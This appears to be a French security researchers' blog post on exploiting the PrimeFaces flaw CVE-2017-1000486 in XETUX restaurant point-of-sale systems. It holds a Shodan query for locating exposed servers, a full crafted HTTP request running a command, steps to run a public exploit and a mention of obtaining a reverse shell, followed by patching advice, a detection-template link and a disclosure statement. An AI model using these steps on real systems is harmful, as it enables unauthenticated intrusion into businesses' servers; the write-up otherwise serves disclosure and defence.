
Exploitation CVE-2017-1000486
Cette fois-ci, nous sommes tombés par hasard sur une vulnérabilité présente dans plusieurs applications de POS pour restaurants XETUX, qui est une solution de surveillance et d'automatisation pour restaurants. Au Panama, c'est un outil largement utilisé par plusieurs restaurants.
La vulnérabilité présente est une RCE (exécution de code à distance), qui permet à des attaquants d'exécuter du code de manière non authentifiée et d'obtenir des privilèges sur la cible.

Une fois que nous avons découvert l'existence d'une bibliothèque présente dans l'application Xetux, la bibliothèque en question s'appelle Primefaces, chargée de générer des PDF, nous avons décidé d'effectuer une recherche sur Shodan pour identifier des cibles potentielles.
http.title:"@XETUX" country:PA
La recherche a donné 40 résultats et 334 dans le monde

Nous procédons à vérifier la vulnérabilité sur l'une des cibles qui ne se trouvaient pas au Panama, en analysant les résultats du backend

Nous pouvons observer que l'application a été installée avec tous les privilèges nt authoriy\system, nous allons expliquer ce qui se passe ensuite :
L'application utilise un Apache Tomcat comme serveur, pour le backend on utilise Java, dans l'application on utilise une bibliothèque ou un plugin tiers appelé Primefaces, le chemin problématique est le endpoint javax.faces.resource/dynamiccontent.properties.xhtml
En recherchant cette bibliothèque, nous avons trouvé une vulnérabilité, Primefaces charge du contenu dynamique de la manière suivante :
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true
Le problème se trouve dans le paramètre pdfid
pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl
La valeur du paramètre est chiffrée et il n'y a aucun moyen de valider si la requête sera déchiffrée correctement. Malheureusement, si les valeurs de la clé par défaut ne sont pas modifiées, on peut demander la génération d'une clé par défaut, donc heureusement pour nous, tous les tests effectués conservaient la clé par défaut.
De la même manière, on pourrait effectuer une attaque Padding Oracle et obtenir la clé avec l'outil Padbuster. Ci-dessous nous partageons la requête :
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
Comme mentionné précédemment, la bibliothèque contenant la RCE est Primefaces, qui dispose d'un exploit public CVE-2017-1000486
Nous allons tester la vulnérabilité en téléchargeant l'exploit :
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
Exécutons l'exploit :

Celui-ci va nous donner une clé et la requête :

Il nous renverra le résultat de la commande :

Maintenant, nous allons procéder à l'obtention du shell inverse, pour accéder au serveur :

Il est important de souligner que le défaut ne s'applique pas seulement au logiciel Xetux ; il se trouve dans la bibliothèque Primefaces, présente dans d'autres applications comme MaxView Storage Manager et DOCBOX.
Les correctifs pour la vulnérabilité sont disponibles depuis des années, car celui-ci date de 2017. Il est recommandé de mettre à jour Primefaces.
L'accès au endpoint est sans authentification, donc n'importe qui peut effectuer des requêtes. Il faut donc valider si les requêtes sont valides.
Si vous utilisez l'une des applications mentionnées, nous partageons le dépôt de nuclei avec lequel vous pouvez vérifier si vous êtes vulnérables : https://gitlab.com/t0adsec/nuclei-templates
Nous avons informé de manière responsable les fournisseurs de l'application dans leurs pays respectifs, mais à ce jour, nous n'avons pas reçu de contact de leur part.